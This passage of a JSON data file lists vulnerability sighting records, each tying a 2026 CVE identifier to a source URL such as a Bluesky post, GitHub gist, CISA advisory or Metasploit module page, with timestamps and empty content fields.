"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27903", "type": "seen", "source": "https://gist.github.com/alon710/2bf496e3a1a30c1cc70a5381232edca5", "content": "", "creation_timestamp": "2026-02-27T07:10:19.000000Z"}, {"uuid": "f7fbc856-9287-4c21-8d19-266dc397363c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27801", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgbi64ynsm2v", "content": "", "creation_timestamp": "2026-03-04T23:53:52.843868Z"}, {"uuid": "c2f33528-6039-47b5-b88e-72d00d32597d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27175", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/majordomo_cmd_injection_rce.rb", "content": "", "creation_timestamp": "2026-03-02T10:29:55.000000Z"}, {"uuid": "90d3fca0-50b1-4268-92a6-5d0265fcbc37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27976", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgfgskbihw2e", "content": "", "creation_timestamp": "2026-03-06T13:40:09.564398Z"}, {"uuid": "1d234b1b-83b2-434c-9811-063f56598fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mgiitwwjs32y", "content": "", "creation_timestamp": "2026-03-07T18:54:42.681053Z"}, {"uuid": "936e603b-d9c8-4d4a-b571-c2427828f3ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27575", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpylcqv7z2z", "content": "", "creation_timestamp": "2026-02-26T00:59:39.634737Z"}, {"uuid": "c49d743d-62fb-4dde-beb5-464532536485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27174", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/majordomo_console_eval_rce.rb", "content": "", "creation_timestamp": "2026-03-02T10:29:55.000000Z"}, {"uuid": "fcab8050-7034-4d44-8918-f3b6abd02b97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27624", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mgcu2v56s22g", "content": "", "creation_timestamp": "2026-03-05T12:59:30.141957Z"}, {"uuid": "430a747e-f33c-422a-95fe-3549700fb256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27180", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/majordomo_supply_chain_rce.rb", "content": "", "creation_timestamp": "2026-03-02T10:29:55.000000Z"}, {"uuid": "6e698beb-ce13-4bf0-9e2c-e2afbcf3ca36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27812", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpyooj2uk2y", "content": "", "creation_timestamp": "2026-02-26T01:01:32.461731Z"}, {"uuid": "5ab189a3-01af-49ea-b5e1-867326cf3d63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27449", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mft6eoykzx2h", "content": "", "creation_timestamp": "2026-02-27T07:21:19.762463Z"}, {"uuid": "b055f3bb-f714-422f-92fc-3a5abaad8078", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27509", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mg33oyusox2y", "content": "", "creation_timestamp": "2026-03-02T10:54:41.913125Z"}, {"uuid": "94c59e89-1c43-4dca-9a91-cda22289de49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27842", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116209013884304793", "content": "", "creation_timestamp": "2026-03-11T06:00:30.894139Z"}, {"uuid": "a8b92df2-b2a8-4437-9757-d4ffa5071937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27510", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mg33oyusox2y", "content": "", "creation_timestamp": "2026-03-02T10:54:41.996697Z"}, {"uuid": "b67adb74-3f22-4c72-854a-f4485df8d9e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27027", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-062-08", "content": "", "creation_timestamp": "2026-03-03T11:00:00.000000Z"}, {"uuid": "476d36a2-713e-4f3a-909f-f2130657403b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27685", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/sap-security-advisory-march-2026-monthly-rollup-av26-209", "content": "", "creation_timestamp": "2026-03-10T14:56:21.000000Z"}, {"uuid": "e58ca5c6-6c07-4829-bcec-b9cc4acf0f82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27476", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mfcyzkrvq62m", "content": "", "creation_timestamp": "2026-02-20T21:03:01.122582Z"}, {"uuid": "72c462e4-a66f-4512-b300-5b26d8bbcba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27479", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg33yxhdn62r", "content": "", "creation_timestamp": "2026-03-02T11:00:15.607481Z"}, {"uuid": "57bdb143-0bed-461d-b7fb-f43e9e230209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27603", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgemivihv52k", "content": "", "creation_timestamp": "2026-03-06T05:49:28.299353Z"}, {"uuid": "d5204dc8-70fe-4786-b13c-da8122035dec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27624", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfo4qjj6sk2u", "content": "", "creation_timestamp": "2026-02-25T07:08:50.726900Z"}, {"uuid": "84a68ad6-d72e-4644-a5ba-11f0f31f0629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27804", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpz2anrel27", "content": "", "creation_timestamp": "2026-02-26T01:08:01.056127Z"}, {"uuid": "2311fcf0-c92a-4445-b696-3c449cc91787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27778", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-062-07", "content": "", "creation_timestamp": "2026-03-03T11:00:00.000000Z"}, {"uuid": "4c620157-3b63-4782-8913-b59d450877d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27696", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfo4t76u7c2u", "content": "", "creation_timestamp": "2026-02-25T07:10:19.688536Z"}, {"uuid": "dd2702ff-0381-4afe-9f2b-fdbf2664dcb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27976", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpz6q2ipj2u", "content": "", "creation_timestamp": "2026-02-26T01:10:30.760757Z"}, {"uuid": "ddb156fd-9755-4969-baad-7b8791875416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27770", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-062-07", "content": "", "creation_timestamp": "2026-03-03T11:00:00.000000Z"}, {"uuid": "e0b61571-54df-44a6-b480-1724a04c99f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27689", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/sap-security-advisory-march-2026-monthly-rollup-av26-209", "content": "", "creation_timestamp": "2026-03-10T14:56:21.000000Z"}, {"uuid": "083037e6-79d6-4aee-af59-e878c45c47eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27013", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfm3grnnum24", "content": "", "creation_timestamp": "2026-02-24T11:40:09.862912Z"}, {"uuid": "4387a07e-ec90-4c08-a22a-e1241dfb8097", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27904", "type": "seen", "source": "https://gist.github.com/alon710/ea527c9b405937e62bf2c5ad28e25c6a", "content": "", "creation_timestamp": "2026-02-27T07:40:18.000000Z"}, {"uuid": "57ef7380-0d07-4780-baed-31a3cb8a1ccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27939", "type": "seen", "source": "https://gist.github.com/alon710/ec22814fdc2305d798b5b3216cff5a34", "content": "", "creation_timestamp": "2026-02-28T00:10:11.000000Z"}, {"uuid": "954978a8-2dd4-497b-a0d5-ed47804949be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27803", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgbiupef2m2o", "content": "", "creation_timestamp": "2026-03-05T00:06:30.107565Z"}, {"uuid": "d6d84a3a-03a1-44cd-a16e-8035846d0853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27730", "type": "seen", "source": "https://gist.github.com/alon710/58d60cb43e35e8d628baff9aff194e2e", "content": "", "creation_timestamp": "2026-02-26T01:10:19.000000Z"}, {"uuid": "1c6f21c6-23aa-4360-a9ce-0e85c5120ed5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27005", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgemuhyhii2k", "content": "", "creation_timestamp": "2026-03-06T05:55:56.639708Z"}, {"uuid": "080fa0ab-9467-4c78-84b1-941d7440fde4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27764", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-062-06", "content": "", "creation_timestamp": "2026-03-03T11:00:00.000000Z"}, {"uuid": "afb34756-5da3-4208-b9f6-a7d176bb5238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27578", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpzdmgmkb2u", "content": "", "creation_timestamp": "2026-02-26T01:13:15.019790Z"}, {"uuid": "5fc0a520-41d6-4eb5-a46e-3d219165cef8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27819", "type": "seen", "source": "https://gist.github.com/alon710/ef8daafa48df3faf43c600dde2331d8a", "content": "", "creation_timestamp": "2026-02-26T15:40:19.000000Z"}, {"uuid": "86ad803f-d888-4f9f-bbd4-a4fd13e849f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27777", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-062-06", "content": "", "creation_timestamp": "2026-03-03T11:00:00.000000Z"}, {"uuid": "338ad42e-a873-479c-b002-6e2f578d349c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27633", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpziyfnk42o", "content": "", "creation_timestamp": "2026-02-26T01:16:15.508919Z"}, {"uuid": "4a0785e3-30a0-4887-a3cc-d185e18d4f9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27148", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpzoxhw5t2e", "content": "", "creation_timestamp": "2026-02-26T01:19:35.569746Z"}, {"uuid": "79a1b439-6cea-4b9e-bb1a-918285156915", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2762", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mfxi64wf2c2x", "content": "", "creation_timestamp": "2026-03-01T00:27:17.036764Z"}, {"uuid": "c1afcc80-991b-4860-ae9d-203d2b61bc24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2760", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mfxi64wf2c2x", "content": "", "creation_timestamp": "2026-03-01T00:27:17.511753Z"}, {"uuid": "3c9830be-af6a-4567-bda2-7b85a9d5ddaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27441", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mga22qm65b24", "content": "", "creation_timestamp": "2026-03-04T10:08:47.091978Z"}, {"uuid": "7f78ddcd-ffda-42ff-8fb3-63a29db4ae13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27699", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfrkvpkth723", "content": "", "creation_timestamp": "2026-02-26T16:00:15.525183Z"}, {"uuid": "0513cf19-9174-470d-9a4f-105da5a6f678", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27945", "type": "seen", "source": "https://gist.github.com/alon710/cc79fb84eb7e27eda5e00b377415b26c", "content": "", "creation_timestamp": "2026-02-28T00:40:10.000000Z"}, {"uuid": "6ce026c1-58f6-4a53-a487-d20f78806e51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2763", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mfxi64wf2c2x", "content": "", "creation_timestamp": "2026-03-01T00:27:17.142988Z"}, {"uuid": "6d10855f-73df-42e2-9002-48a40296987b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2761", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mfxi64wf2c2x", "content": "", "creation_timestamp": "2026-03-01T00:27:17.630525Z"}, {"uuid": "1ef696a8-8a11-4cbb-a949-108cd9c03657", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27442", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mga2dozyrr24", "content": "", "creation_timestamp": "2026-03-04T10:13:47.385257Z"}, {"uuid": "988f047f-e717-4065-9d2d-3e9b48d631fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27802", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgbjlnnl5n2u", "content": "", "creation_timestamp": "2026-03-05T00:19:20.112218Z"}, {"uuid": "b52a6a52-7162-4804-afee-8658eab5422d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2765", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mfxi64wf2c2x", "content": "", "creation_timestamp": "2026-03-01T00:27:17.262589Z"}, {"uuid": "bb30e36b-392a-4e2c-b306-c6853b8a9dc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2766", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mfxi64wf2c2x", "content": "", "creation_timestamp": "2026-03-01T00:27:17.392320Z"}, {"uuid": "6e8099aa-e99f-4fc8-8245-8c607be54c32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27898", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgbjtd7dnk2y", "content": "", "creation_timestamp": "2026-03-05T00:23:37.514188Z"}, {"uuid": "60092951-635d-43b5-b703-029aae927391", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27493", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpzvoee2m2e", "content": "", "creation_timestamp": "2026-02-26T01:23:21.091572Z"}, {"uuid": "c77abbaa-2e15-4f20-b1b5-7cc0b96c2cef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2739", "type": "seen", "source": "https://gist.github.com/alon710/385828216ee91709a87b6de0813d1ccc", "content": "", "creation_timestamp": "2026-02-20T22:40:40.000000Z"}, {"uuid": "a427dfbc-3be8-40de-9131-5a5a61c276cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27177", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfd7l6wpfa24", "content": "", "creation_timestamp": "2026-02-20T23:00:15.172845Z"}, {"uuid": "08e79b76-2f2d-4e7b-96d0-9185c8fa8997", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27637", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116130449342302707", "content": "", "creation_timestamp": "2026-02-25T09:00:31.020335Z"}, {"uuid": "31591a39-d473-42fa-b21f-6ef101c75038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27630", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq25dwtkr27", "content": "", "creation_timestamp": "2026-02-26T01:27:38.495086Z"}, {"uuid": "57297c12-61ec-45aa-899b-4b2dc0686b71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27825", "type": "seen", "source": "https://gist.github.com/alon710/318772c839d4af9a91549fceab76247e", "content": "", "creation_timestamp": "2026-03-10T19:10:06.000000Z"}, {"uuid": "fafc9340-a281-46f5-ad0d-a1e47495db62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27637", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfocybjggj2h", "content": "", "creation_timestamp": "2026-02-25T09:00:33.068948Z"}, {"uuid": "5fa17f01-a5c4-4d53-8479-6b0de00c5fb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27804", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfq2cjluf326", "content": "", "creation_timestamp": "2026-02-26T01:30:32.776175Z"}, {"uuid": "cc9fa881-03d3-4206-88b9-55d51e12bb81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27939", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfv24jvlmh2k", "content": "", "creation_timestamp": "2026-02-28T01:10:29.915945Z"}, {"uuid": "a4648aa1-dfe5-4d9a-939c-c1e12405f332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27728", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mg3aeldwe326", "content": "", "creation_timestamp": "2026-03-02T12:18:20.766996Z"}, {"uuid": "93c79d80-4f27-4c72-9150-fd9e37a38c29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27818", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq2gcfua32z", "content": "", "creation_timestamp": "2026-02-26T01:32:38.849903Z"}, {"uuid": "18661c3d-1ad4-41f4-9c75-1225752e873b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27840", "type": "seen", "source": "https://gist.github.com/alon710/26ad557fbd4646a04459f43b9aa9e194", "content": "", "creation_timestamp": "2026-02-28T01:10:11.000000Z"}, {"uuid": "1f0d6d18-a0c8-485a-ac6b-5f10a2661843", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27468", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mfodqx2qf22s", "content": "", "creation_timestamp": "2026-02-25T09:14:33.144956Z"}, {"uuid": "67660f8e-d031-467a-859d-92203a1ec1db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27167", "type": "seen", "source": "https://gist.github.com/alon710/b9cbc8bb91819a5e8479c60ca815f5c4", "content": "", "creation_timestamp": "2026-03-01T01:10:21.000000Z"}, {"uuid": "3291724c-7d1d-41c3-bffd-63502eb4948c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27904", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mg3bcxedsh2z", "content": "", "creation_timestamp": "2026-03-02T12:35:20.091241Z"}, {"uuid": "3c322502-9584-4782-910a-dcabe36c0e91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27826", "type": "seen", "source": "https://gist.github.com/alon710/318772c839d4af9a91549fceab76247e", "content": "", "creation_timestamp": "2026-03-10T19:10:06.000000Z"}, {"uuid": "80c9d70b-1ac2-4c5f-9886-e2cf24f96963", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27477", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mfodqx2qf22s", "content": "", "creation_timestamp": "2026-02-25T09:14:33.218971Z"}, {"uuid": "0d85dcc0-5cc3-462f-bdc1-f452fa1e8de5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27739", "type": "seen", "source": "https://gist.github.com/alon710/53d0a446648e9dbad6bc94a3baf5290b", "content": "", "creation_timestamp": "2026-02-26T01:40:19.000000Z"}, {"uuid": "e5de748e-9688-4954-a725-77cf37ea0f2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27903", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mg3bcxedsh2z", "content": "", "creation_timestamp": "2026-03-02T12:35:20.200958Z"}, {"uuid": "eea11120-43d0-4e46-adcf-f7bc35e54214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27468", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mfodr7frck2s", "content": "", "creation_timestamp": "2026-02-25T09:14:34.274717Z"}, {"uuid": "6bda0df1-f3ec-4eb0-8601-d5cb745227e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27477", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mfodr7frck2s", "content": "", "creation_timestamp": "2026-02-25T09:14:34.446656Z"}, {"uuid": "759a32e3-32ac-49bf-b88c-3434761eeda4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27498", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq2y7dikk2u", "content": "", "creation_timestamp": "2026-02-26T01:42:39.628531Z"}, {"uuid": "0ac1f387-a410-4fa1-a61f-42b6d2bbafc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27825", "type": "seen", "source": "https://gist.github.com/alon710/466922a78fd1f1a990595c00598870a1", "content": "", "creation_timestamp": "2026-03-10T19:40:06.000000Z"}, {"uuid": "0b6d0b39-d385-4107-b2d7-103b25246dfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27171", "type": "seen", "source": 